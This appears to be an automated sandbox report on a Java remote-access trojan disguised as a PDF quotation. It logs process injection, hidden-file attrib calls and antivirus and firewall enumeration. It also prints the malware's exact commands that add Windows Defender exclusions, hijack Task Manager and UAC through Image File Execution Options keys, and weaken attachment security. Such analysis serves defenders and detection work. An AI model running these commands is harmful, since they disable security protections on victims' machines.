cmd.exe 193 PID 844 wrote to memory of 3024 844 java.exe 194 PID 844 wrote to memory of 3024 844 java.exe 194 PID 844 wrote to memory of 3024 844 java.exe 194 PID 3024 wrote to memory of 3044 3024 cmd.exe 195 PID 3024 wrote to memory of 3044 3024 cmd.exe 195 PID 3024 wrote to memory of 3044 3024 cmd.exe 195 PID 3024 wrote to memory of 2072 3024 cmd.exe 196 PID 3024 wrote to memory of 2072 3024 cmd.exe 196 PID 3024 wrote to memory of 2072 3024 cmd.exe 196 PID 844 wrote to memory of 2116 844 java.exe 197 PID 844 wrote to memory of 2116 844 java.exe 197 PID 844 wrote to memory of 2116 844 java.exe 197 PID 2116 wrote to memory of 2160 2116 cmd.exe 198 PID 2116 wrote to memory of 2160 2116 cmd.exe 198 PID 2116 wrote to memory of 2160 2116 cmd.exe 198 PID 844 wrote to memory of 2164 844 java.exe 200 PID 844 wrote to memory of 2164 844 java.exe 200 PID 844 wrote to memory of 2164 844 java.exe 200 PID 844 wrote to memory of 2208 844 java.exe 201 PID 844 wrote to memory of 2208 844 java.exe 201 PID 844 wrote to memory of 2208 844 java.exe 201 PID 844 wrote to memory of 2268 844 java.exe 202 PID 844 wrote to memory of 2268 844 java.exe 202 PID 844 wrote to memory of 2268 844 java.exe 202 PID 2116 wrote to memory of 2320 2116 cmd.exe 204 PID 2116 wrote to memory of 2320 2116 cmd.exe 204 PID 2116 wrote to memory of 2320 2116 cmd.exe 204 PID 844 wrote to memory of 2348 844 java.exe 206 PID 844 wrote to memory of 2348 844 java.exe 206 PID 844 wrote to memory of 2348 844 java.exe 206 PID 844 wrote to memory of 2384 844 java.exe 207 PID 844 wrote to memory of 2384 844 java.exe 207 PID 844 wrote to memory of 2384 844 java.exe 207 PID 2384 wrote to memory of 2500 2384 cmd.exe 209 PID 2384 wrote to memory of 2500 2384 cmd.exe 209 PID 2384 wrote to memory of 2500 2384 cmd.exe 209 PID 2384 wrote to memory of 2548 2384 cmd.exe 210 PID 2384 wrote to memory of 2548 2384 cmd.exe 210 PID 2384 wrote to memory of 2548 2384 cmd.exe 210 PID 844 wrote to memory of 2556 844 java.exe 211 PID 844 wrote to memory of 2556 844 java.exe 211 PID 844 wrote to memory of 2556 844 java.exe 211 PID 2556 wrote to memory of 2640 2556 cmd.exe 212 PID 2556 wrote to memory of 2640 2556 cmd.exe 212 PID 2556 wrote to memory of 2640 2556 cmd.exe 212 PID 2556 wrote to memory of 2684 2556 cmd.exe 213 PID 2556 wrote to memory of 2684 2556 cmd.exe 213 PID 2556 wrote to memory of 2684 2556 cmd.exe 213 PID 844 wrote to memory of 2708 844 java.exe 214 PID 844 wrote to memory of 2708 844 java.exe 214 PID 844 wrote to memory of 2708 844 java.exe 214 PID 2708 wrote to memory of 2700 2708 cmd.exe 215 PID 2708 wrote to memory of 2700 2708 cmd.exe 215 PID 2708 wrote to memory of 2700 2708 cmd.exe 215 PID 2708 wrote to memory of 2616 2708 cmd.exe 216 PID 2708 wrote to memory of 2616 2708 cmd.exe 216 PID 2708 wrote to memory of 2616 2708 cmd.exe 216 PID 844 wrote to memory of 2740 844 java.exe 217 PID 844 wrote to memory of 2740 844 java.exe 217 PID 844 wrote to memory of 2740 844 java.exe 217 PID 2740 wrote to memory of 2724 2740 cmd.exe 218 PID 2740 wrote to memory of 2724 2740 cmd.exe 218 PID 2740 wrote to memory of 2724 2740 cmd.exe 218 PID 2740 wrote to memory of 2772 2740 cmd.exe 219 PID 2740 wrote to memory of 2772 2740 cmd.exe 219 PID 2740 wrote to memory of 2772 2740 cmd.exe 219 PID 844 wrote to memory of 2812 844 java.exe 220 PID 844 wrote to memory of 2812 844 java.exe 220 PID 844 wrote to memory of 2812 844 java.exe 220 PID 2812 wrote to memory of 2800 2812 cmd.exe 221 PID 2812 wrote to memory of 2800 2812 cmd.exe 221 PID 2812 wrote to memory of 2800 2812 cmd.exe 221 PID 2812 wrote to memory of 2792 2812 cmd.exe 222 PID 2812 wrote to memory of 2792 2812 cmd.exe 222 PID 2812 wrote to memory of 2792 2812 cmd.exe 222 PID 844 wrote to memory of 2836 844 java.exe 223 PID 844 wrote to memory of 2836 844 java.exe 223 PID 844 wrote to memory of 2836 844 java.exe 223 PID 2836 wrote to memory of 2936 2836 cmd.exe 224 PID 2836 wrote to memory of 2936 2836 cmd.exe 224 PID 2836 wrote to memory of 2936 2836 cmd.exe 224 PID 2836 wrote to memory of 3004 2836 cmd.exe 225 PID 2836 wrote to memory of 3004 2836 cmd.exe 225 PID 2836 wrote to memory of 3004 2836 cmd.exe 225 PID 844 wrote to memory of 3008 844 java.exe 226 PID 844 wrote to memory of 3008 844 java.exe 226 PID 844 wrote to memory of 3008 844 java.exe 226 PID 3008 wrote to memory of 3052 3008 cmd.exe 227 PID 3008 wrote to memory of 3052 3008 cmd.exe 227 PID 3008 wrote to memory of 3052 3008 cmd.exe 227 PID 3008 wrote to memory of 2068 3008 cmd.exe 228 PID 3008 wrote to memory of 2068 3008 cmd.exe 228 PID 3008 wrote to memory of 2068 3008 cmd.exe 228 PID 844 wrote to memory of 2112 844 java.exe 229 PID 844 wrote to memory of 2112 844 java.exe 229 PID 844 wrote to memory of 2112 844 java.exe 229 PID 2112 wrote to memory of 1276 2112 cmd.exe 231 PID 2112 wrote to memory of 1276 2112 cmd.exe 231 PID 2112 wrote to memory of 1276 2112 cmd.exe 231 PID 2112 wrote to memory of 1616 2112 cmd.exe 232 PID 2112 wrote to memory of 1616 2112 cmd.exe 232 PID 2112 wrote to memory of 1616 2112 cmd.exe 232 PID 844 wrote to memory of 1576 844 java.exe 233 PID 844 wrote to memory of 1576 844 java.exe 233 PID 844 wrote to memory of 1576 844 java.exe 233 PID 1576 wrote to memory of 520 1576 cmd.exe 234 PID 1576 wrote to memory of 520 1576 cmd.exe 234 PID 1576 wrote to memory of 520 1576 cmd.exe 234 PID 1576 wrote to memory of 1120 1576 cmd.exe 235 PID 1576 wrote to memory of 1120 1576 cmd.exe 235 PID 1576 wrote to memory of 1120 1576 cmd.exe 235 PID 844 wrote to memory of 1824 844 java.exe 236 PID 844 wrote to memory of 1824 844 java.exe 236 PID 844 wrote to memory of 1824 844 java.exe 236 PID 1824 wrote to memory of 2012 1824 cmd.exe 237 PID 1824 wrote to memory of 2012 1824 cmd.exe 237 PID 1824 wrote to memory of 2012 1824 cmd.exe 237 PID 1824 wrote to memory of 2108 1824 cmd.exe 238 PID 1824 wrote to memory of 2108 1824 cmd.exe 238 PID 1824 wrote to memory of 2108 1824 cmd.exe 238 PID 844 wrote to memory of 2176 844 java.exe 239 PID 844 wrote to memory of 2176 844 java.exe 239 PID 844 wrote to memory of 2176 844 java.exe 239 PID 2176 wrote to memory of 1472 2176 cmd.exe 240 PID 2176 wrote to memory of 1472 2176 cmd.exe 240 PID 2176 wrote to memory of 1472 2176 cmd.exe 240 PID 2176 wrote to memory of 2304 2176 cmd.exe 241 PID 2176 wrote to memory of 2304 2176 cmd.exe 241 PID 2176 wrote to memory of 2304 2176 cmd.exe 241 PID 844 wrote to memory of 1480 844 java.exe 242 PID 844 wrote to memory of 1480 844 java.exe 242 PID 844 wrote to memory of 1480 844 java.exe 242 PID 1480 wrote to memory of 1872 1480 cmd.exe 243 PID 1480 wrote to memory of 1872 1480 cmd.exe 243 PID 1480 wrote to memory of 1872 1480 cmd.exe 243 PID 1480 wrote to memory of 2340 1480 cmd.exe 244 PID 1480 wrote to memory of 2340 1480 cmd.exe 244 PID 1480 wrote to memory of 2340 1480 cmd.exe 244 PID 844 wrote to memory of 2036 844 java.exe 245 PID 844 wrote to memory of 2036 844 java.exe 245 PID 844 wrote to memory of 2036 844 java.exe 245 PID 2036 wrote to memory of 2004 2036 cmd.exe 246 PID 2036 wrote to memory of 2004 2036 cmd.exe 246 PID 2036 wrote to memory of 2004 2036 cmd.exe 246 PID 2036 wrote to memory of 2156 2036 cmd.exe 247 PID 2036 wrote to memory of 2156 2036 cmd.exe 247 PID 2036 wrote to memory of 2156 2036 cmd.exe 247 PID 844 wrote to memory of 2388 844 java.exe 248 PID 844 wrote to memory of 2388 844 java.exe 248 PID 844 wrote to memory of 2388 844 java.exe 248 PID 2388 wrote to memory of 2336 2388 cmd.exe 249 PID 2388 wrote to memory of 2336 2388 cmd.exe 249 PID 2388 wrote to memory of 2336 2388 cmd.exe 249 PID 2388 wrote to memory of 2028 2388 cmd.exe 250 PID 2388 wrote to memory of 2028 2388 cmd.exe 250 PID 2388 wrote to memory of 2028 2388 cmd.exe 250 PID 844 wrote to memory of 2296 844 java.exe 251 PID 844 wrote to memory of 2296 844 java.exe 251 PID 844 wrote to memory of 2296 844 java.exe 251 PID 2296 wrote to memory of 2496 2296 cmd.exe 252 PID 2296 wrote to memory of 2496 2296 cmd.exe 252 PID 2296 wrote to memory of 2496 2296 cmd.exe 252 PID 2296 wrote to memory of 2268 2296 cmd.exe 253 PID 2296 wrote to memory of 2268 2296 cmd.exe 253 PID 2296 wrote to memory of 2268 2296 cmd.exe 253 PID 844 wrote to memory of 2476 844 java.exe 254 PID 844 wrote to memory of 2476 844 java.exe 254 PID 844 wrote to memory of 2476 844 java.exe 254 PID 2476 wrote to memory of 2564 2476 cmd.exe 255 PID 2476 wrote to memory of 2564 2476 cmd.exe 255 PID 2476 wrote to memory of 2564 2476 cmd.exe 255 PID 2476 wrote to memory of 2480 2476 cmd.exe 256 PID 2476 wrote to memory of 2480 2476 cmd.exe 256 PID 2476 wrote to memory of 2480 2476 cmd.exe 256 PID 844 wrote to memory of 2452 844 java.exe 257 PID 844 wrote to memory of 2452 844 java.exe 257 PID 844 wrote to memory of 2452 844 java.exe 257 PID 2452 wrote to memory of 2492 2452 cmd.exe 258 PID 2452 wrote to memory of 2492 2452 cmd.exe 258 PID 2452 wrote to memory of 2492 2452 cmd.exe 258 PID 2452 wrote to memory of 2404 2452 cmd.exe 259 PID 2452 wrote to memory of 2404 2452 cmd.exe 259 PID 2452 wrote to memory of 2404 2452 cmd.exe 259 PID 844 wrote to memory of 1848 844 java.exe 260 PID 844 wrote to memory of 1848 844 java.exe 260 PID 844 wrote to memory of 1848 844 java.exe 260 PID 1848 wrote to memory of 1916 1848 cmd.exe 261 PID 1848 wrote to memory of 1916 1848 cmd.exe 261 PID 1848 wrote to memory of 1916 1848 cmd.exe 261 PID 1848 wrote to memory of 2440 1848 cmd.exe 262 PID 1848 wrote to memory of 2440 1848 cmd.exe 262 PID 1848 wrote to memory of 2440 1848 cmd.exe 262 PID 844 wrote to memory of 2728 844 java.exe 263 PID 844 wrote to memory of 2728 844 java.exe 263 PID 844 wrote to memory of 2728 844 java.exe 263 PID 2728 wrote to memory of 2688 2728 cmd.exe 264 PID 2728 wrote to memory of 2688 2728 cmd.exe 264 PID 2728 wrote to memory of 2688 2728 cmd.exe 264 PID 2728 wrote to memory of 2676 2728 cmd.exe 265 PID 2728 wrote to memory of 2676 2728 cmd.exe 265 PID 2728 wrote to memory of 2676 2728 cmd.exe 265 PID 844 wrote to memory of 2656 844 java.exe 266 PID 844 wrote to memory of 2656 844 java.exe 266 PID 844 wrote to memory of 2656 844 java.exe 266 PID 844 wrote to memory of 2524 844 java.exe 268 PID 844 wrote to memory of 2524 844 java.exe 268 PID 844 wrote to memory of 2524 844 java.exe 268 PID 2524 wrote to memory of 2584 2524 cmd.exe 269 PID 2524 wrote to memory of 2584 2524 cmd.exe 269 PID 2524 wrote to memory of 2584 2524 cmd.exe 269 PID 2524 wrote to memory of 2408 2524 cmd.exe 270 PID 2524 wrote to memory of 2408 2524 cmd.exe 270 PID 2524 wrote to memory of 2408 2524 cmd.exe 270 PID 844 wrote to memory of 1888 844 java.exe 271 PID 844 wrote to memory of 1888 844 java.exe 271 PID 844 wrote to memory of 1888 844 java.exe 271 PID 1888 wrote to memory of 2196 1888 cmd.exe 272 PID 1888 wrote to memory of 2196 1888 cmd.exe 272 PID 1888 wrote to memory of 2196 1888 cmd.exe 272 PID 1888 wrote to memory of 1428 1888 cmd.exe 273 PID 1888 wrote to memory of 1428 1888 cmd.exe 273 PID 1888 wrote to memory of 1428 1888 cmd.exe 273 PID 844 wrote to memory of 2420 844 java.exe 274 PID 844 wrote to memory of 2420 844 java.exe 274 PID 844 wrote to memory of 2420 844 java.exe 274 PID 2420 wrote to memory of 2292 2420 cmd.exe 275 PID 2420 wrote to memory of 2292 2420 cmd.exe 275 PID 2420 wrote to memory of 2292 2420 cmd.exe 275 PID 2420 wrote to memory of 3016 2420 cmd.exe 276 PID 2420 wrote to memory of 3016 2420 cmd.exe 276 PID 2420 wrote to memory of 3016 2420 cmd.exe 276 PID 844 wrote to memory of 1564 844 java.exe 277 PID 844 wrote to memory of 1564 844 java.exe 277 PID 844 wrote to memory of 1564 844 java.exe 277 PID 1564 wrote to memory of 2272 1564 cmd.exe 278 PID 1564 wrote to memory of 2272 1564 cmd.exe 278 PID 1564 wrote to memory of 2272 1564 cmd.exe 278 PID 1564 wrote to memory of 1900 1564 cmd.exe 279 PID 1564 wrote to memory of 1900 1564 cmd.exe 279 PID 1564 wrote to memory of 1900 1564 cmd.exe 279 PID 844 wrote to memory of 1680 844 java.exe 280 PID 844 wrote to memory of 1680 844 java.exe 280 PID 844 wrote to memory of 1680 844 java.exe 280 PID 1680 wrote to memory of 2620 1680 cmd.exe 281 PID 1680 wrote to memory of 2620 1680 cmd.exe 281 PID 1680 wrote to memory of 2620 1680 cmd.exe 281 PID 1680 wrote to memory of 2096 1680 cmd.exe 282 PID 1680 wrote to memory of 2096 1680 cmd.exe 282 PID 1680 wrote to memory of 2096 1680 cmd.exe 282 PID 844 wrote to memory of 2248 844 java.exe 283 PID 844 wrote to memory of 2248 844 java.exe 283 PID 844 wrote to memory of 2248 844 java.exe 283 PID 2248 wrote to memory of 2648 2248 cmd.exe 284 PID 2248 wrote to memory of 2648 2248 cmd.exe 284 PID 2248 wrote to memory of 2648 2248 cmd.exe 284 PID 2248 wrote to memory of 2484 2248 cmd.exe 285 PID 2248 wrote to memory of 2484 2248 cmd.exe 285 PID 2248 wrote to memory of 2484 2248 cmd.exe 285 PID 844 wrote to memory of 1552 844 java.exe 286 PID 844 wrote to memory of 1552 844 java.exe 286 PID 844 wrote to memory of 1552 844 java.exe 286 PID 1552 wrote to memory of 1268 1552 cmd.exe 287 PID 1552 wrote to memory of 1268 1552 cmd.exe 287 PID 1552 wrote to memory of 1268 1552 cmd.exe 287 PID 1552 wrote to memory of 1876 1552 cmd.exe 288 PID 1552 wrote to memory of 1876 1552 cmd.exe 288 PID 1552 wrote to memory of 1876 1552 cmd.exe 288 PID 844 wrote to memory of 2660 844 java.exe 289 PID 844 wrote to memory of 2660 844 java.exe 289 PID 844 wrote to memory of 2660 844 java.exe 289 PID 2660 wrote to memory of 2632 2660 cmd.exe 290 PID 2660 wrote to memory of 2632 2660 cmd.exe 290 PID 2660 wrote to memory of 2632 2660 cmd.exe 290 PID 2660 wrote to memory of 2696 2660 cmd.exe 291 PID 2660 wrote to memory of 2696 2660 cmd.exe 291 PID 2660 wrote to memory of 2696 2660 cmd.exe 291 PID 844 wrote to memory of 2736 844 java.exe 292 PID 844 wrote to memory of 2736 844 java.exe 292 PID 844 wrote to memory of 2736 844 java.exe 292 PID 2736 wrote to memory of 2616 2736 cmd.exe 293 PID 2736 wrote to memory of 2616 2736 cmd.exe 293 PID 2736 wrote to memory of 2616 2736 cmd.exe 293 PID 2736 wrote to memory of 2752 2736 cmd.exe 294 PID 2736 wrote to memory of 2752 2736 cmd.exe 294 PID 2736 wrote to memory of 2752 2736 cmd.exe 294 PID 844 wrote to memory of 2780 844 java.exe 295 PID 844 wrote to memory of 2780 844 java.exe 295 PID 844 wrote to memory of 2780 844 java.exe 295 PID 2780 wrote to memory of 2816 2780 cmd.exe 296 PID 2780 wrote to memory of 2816 2780 cmd.exe 296 PID 2780 wrote to memory of 2816 2780 cmd.exe 296 PID 2780 wrote to memory of 2792 2780 cmd.exe 297 PID 2780 wrote to memory of 2792 2780 cmd.exe 297 PID 2780 wrote to memory of 2792 2780 cmd.exe 297 PID 844 wrote to memory of 2932 844 java.exe 298 PID 844 wrote to memory of 2932 844 java.exe 298 PID 844 wrote to memory of 2932 844 java.exe 298 PID 2932 wrote to memory of 2936 2932 cmd.exe 299 PID 2932 wrote to memory of 2936 2932 cmd.exe 299 PID 2932 wrote to memory of 2936 2932 cmd.exe 299 PID 2932 wrote to memory of 3004 2932 cmd.exe 300 PID 2932 wrote to memory of 3004 2932 cmd.exe 300 PID 2932 wrote to memory of 3004 2932 cmd.exe 300 PID 844 wrote to memory of 2084 844 java.exe 301 PID 844 wrote to memory of 2084 844 java.exe 301 PID 844 wrote to memory of 2084 844 java.exe 301 PID 2084 wrote to memory of 392 2084 cmd.exe 302 PID 2084 wrote to memory of 392 2084 cmd.exe 302 PID 2084 wrote to memory of 392 2084 cmd.exe 302 PID 844 wrote to memory of 2064 844 java.exe 303 PID 844 wrote to memory of 2064 844 java.exe 303 PID 844 wrote to memory of 2064 844 java.exe 303 PID 2084 wrote to memory of 1276 2084 cmd.exe 305 PID 2084 wrote to memory of 1276 2084 cmd.exe 305 PID 2084 wrote to memory of 1276 2084 cmd.exe 305 PID 844 wrote to memory of 1840 844 java.exe 306 PID 844 wrote to memory of 1840 844 java.exe 306 PID 844 wrote to memory of 1840 844 java.exe 306 PID 1840 wrote to memory of 1512 1840 cmd.exe 307 PID 1840 wrote to memory of 1512 1840 cmd.exe 307 PID 1840 wrote to memory of 1512 1840 cmd.exe 307 PID 1840 wrote to memory of 1612 1840 cmd.exe 308 PID 1840 wrote to memory of 1612 1840 cmd.exe 308 PID 1840 wrote to memory of 1612 1840 cmd.exe 308 PID 844 wrote to memory of 1772 844 java.exe 309 PID 844 wrote to memory of 1772 844 java.exe 309 PID 844 wrote to memory of 1772 844 java.exe 309 PID 1772 wrote to memory of 1988 1772 cmd.exe 310 PID 1772 wrote to memory of 1988 1772 cmd.exe 310 PID 1772 wrote to memory of 1988 1772 cmd.exe 310 PID 1772 wrote to memory of 2144 1772 cmd.exe 311 PID 1772 wrote to memory of 2144 1772 cmd.exe 311 PID 1772 wrote to memory of 2144 1772 cmd.exe 311 PID 844 wrote to memory of 2220 844 java.exe 312 PID 844 wrote to memory of 2220 844 java.exe 312 PID 844 wrote to memory of 2220 844 java.exe 312 PID 2220 wrote to memory of 1472 2220 cmd.exe 313 PID 2220 wrote to memory of 1472 2220 cmd.exe 313 PID 2220 wrote to memory of 1472 2220 cmd.exe 313 PID 2220 wrote to memory of 1884 2220 cmd.exe 314 PID 2220 wrote to memory of 1884 2220 cmd.exe 314 PID 2220 wrote to memory of 1884 2220 cmd.exe 314 PID 844 wrote to memory of 2300 844 java.exe 315 PID 844 wrote to memory of 2300 844 java.exe 315 PID 844 wrote to memory of 2300 844 java.exe 315 PID 2300 wrote to memory of 2340 2300 cmd.exe 316 PID 2300 wrote to memory of 2340 2300 cmd.exe 316 PID 2300 wrote to memory of 2340 2300 cmd.exe 316 PID 2300 wrote to memory of 1820 2300 cmd.exe 317 PID 2300 wrote to memory of 1820 2300 cmd.exe 317 PID 2300 wrote to memory of 1820 2300 cmd.exe 317 PID 844 wrote to memory of 2264 844 java.exe 318 PID 844 wrote to memory of 2264 844 java.exe 318 PID 844 wrote to memory of 2264 844 java.exe 318 PID 2264 wrote to memory of 1784 2264 cmd.exe 319 PID 2264 wrote to memory of 1784 2264 cmd.exe 319 PID 2264 wrote to memory of 1784 2264 cmd.exe 319 PID 2264 wrote to memory of 2160 2264 cmd.exe 320 PID 2264 wrote to memory of 2160 2264 cmd.exe 320 PID 2264 wrote to memory of 2160 2264 cmd.exe 320 PID 844 wrote to memory of 2392 844 java.exe 321 PID 844 wrote to memory of 2392 844 java.exe 321 PID 844 wrote to memory of 2392 844 java.exe 321 PID 2392 wrote to memory of 2352 2392 cmd.exe 322 PID 2392 wrote to memory of 2352 2392 cmd.exe 322 PID 2392 wrote to memory of 2352 2392 cmd.exe 322 PID 2392 wrote to memory of 2268 2392 cmd.exe 323 PID 2392 wrote to memory of 2268 2392 cmd.exe 323 PID 2392 wrote to memory of 2268 2392 cmd.exe 323 PID 844 wrote to memory of 2500 844 java.exe 324 PID 844 wrote to memory of 2500 844 java.exe 324 PID 844 wrote to memory of 2500 844 java.exe 324 PID 2500 wrote to memory of 2508 2500 cmd.exe 325 PID 2500 wrote to memory of 2508 2500 cmd.exe 325 PID 2500 wrote to memory of 2508 2500 cmd.exe 325 PID 2500 wrote to memory of 2396 2500 cmd.exe 326 PID 2500 wrote to memory of 2396 2500 cmd.exe 326 PID 2500 wrote to memory of 2396 2500 cmd.exe 326 PID 844 wrote to memory of 2492 844 java.exe 327 PID 844 wrote to memory of 2492 844 java.exe 327 PID 844 wrote to memory of 2492 844 java.exe 327 PID 2492 wrote to memory of 1400 2492 cmd.exe 328 PID 2492 wrote to memory of 1400 2492 cmd.exe 328 PID 2492 wrote to memory of 1400 2492 cmd.exe 328 PID 2492 wrote to memory of 2824 2492 cmd.exe 329 PID 2492 wrote to memory of 2824 2492 cmd.exe 329 PID 2492 wrote to memory of 2824 2492 cmd.exe 329 PID 844 wrote to memory of 2440 844 java.exe 330 PID 844 wrote to memory of 2440 844 java.exe 330 PID 844 wrote to memory of 2440 844 java.exe 330 PID 2440 wrote to memory of 2808 2440 cmd.exe 331 PID 2440 wrote to memory of 2808 2440 cmd.exe 331 PID 2440 wrote to memory of 2808 2440 cmd.exe 331 PID 2440 wrote to memory of 2612 2440 cmd.exe 332 PID 2440 wrote to memory of 2612 2440 cmd.exe 332 PID 2440 wrote to memory of 2612 2440 cmd.exe 332 PID 844 wrote to memory of 2544 844 java.exe 333 PID 844 wrote to memory of 2544 844 java.exe 333 PID 844 wrote to memory of 2544 844 java.exe 333 PID 2544 wrote to memory of 1600 2544 cmd.exe 334 PID 2544 wrote to memory of 1600 2544 cmd.exe 334 PID 2544 wrote to memory of 1600 2544 cmd.exe 334 PID 2544 wrote to memory of 1496 2544 cmd.exe 335 PID 2544 wrote to memory of 1496 2544 cmd.exe 335 PID 2544 wrote to memory of 1496 2544 cmd.exe 335 PID 844 wrote to memory of 1808 844 java.exe 336 PID 844 wrote to memory of 1808 844 java.exe 336 PID 844 wrote to memory of 1808 844 java.exe 336 PID 1808 wrote to memory of 1852 1808 cmd.exe 337 PID 1808 wrote to memory of 1852 1808 cmd.exe 337 PID 1808 wrote to memory of 1852 1808 cmd.exe 337 PID 1808 wrote to memory of 2580 1808 cmd.exe 338 PID 1808 wrote to memory of 2580 1808 cmd.exe 338 PID 1808 wrote to memory of 2580 1808 cmd.exe 338 PID 844 wrote to memory of 2548 844 java.exe 339 PID 844 wrote to memory of 2548 844 java.exe 339 PID 844 wrote to memory of 2548 844 java.exe 339 PID 2548 wrote to memory of 2608 2548 cmd.exe 340 PID 2548 wrote to memory of 2608 2548 cmd.exe 340 PID 2548 wrote to memory of 2608 2548 cmd.exe 340 PID 2548 wrote to memory of 1428 2548 cmd.exe 341 PID 2548 wrote to memory of 1428 2548 cmd.exe 341 PID 2548 wrote to memory of 1428 2548 cmd.exe 341 PID 844 wrote to memory of 2276 844 java.exe 342 PID 844 wrote to memory of 2276 844 java.exe 342 PID 844 wrote to memory of 2276 844 java.exe 342 PID 844 wrote to memory of 2124 844 java.exe 344 PID 844 wrote to memory of 2124 844 java.exe 344 PID 844 wrote to memory of 2124 844 java.exe 344 PID 844 wrote to memory of 2484 844 java.exe 346 PID 844 wrote to memory of 2484 844 java.exe 346 PID 844 wrote to memory of 2484 844 java.exe 346 -
Views/modifies file attributes 1 TTPs 8 IoCs
pid Process 1564 attrib.exe 1992 attrib.exe 1988 attrib.exe 1900 attrib.exe 268 attrib.exe 1588 attrib.exe 1640 attrib.exe 1580 attrib.exe
Processes
-
C:\Windows\system32\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\Techno Group Pakistan Request For Quotation_pdf.jar"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\system32\cmd.execmd.exe2⤵PID:1748
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1424
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1892
-
-
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\Oracle2⤵
- Views/modifies file attributes
PID:1900
-
-
C:\Windows\system32\attrib.exeattrib +h +r +s C:\Users\Admin\.ntusernt.ini2⤵
- Views/modifies file attributes
PID:268
-
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\ujTBR\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:1588
-
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\ujTBR\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
PID:1640
-
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\ujTBR2⤵
- Views/modifies file attributes
PID:1580
-
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\ujTBR2⤵
- Views/modifies file attributes
PID:1564
-
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\ujTBR2⤵
- Views/modifies file attributes
PID:1992
-
-
C:\Windows\system32\attrib.exeattrib +h +s +r C:\Users\Admin\ujTBR\NXtxm.class2⤵
- Views/modifies file attributes
PID:1988
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:643⤵PID:1448
-
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:323⤵PID:984
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\ujTBR','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\ujTBR\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2040
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f2⤵PID:1272
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "UserAccountControlSettings.exe" /T /F2⤵
- Kills process with taskkill
PID:1460
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;" /f2⤵PID:1404
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UserAccountControlSettings.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1604
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1496
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_SZ /d "-" /f2⤵PID:1756
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1860
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d "-" /f2⤵PID:1828
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:760
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:643⤵PID:1520
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:323⤵PID:1604
-
-
-
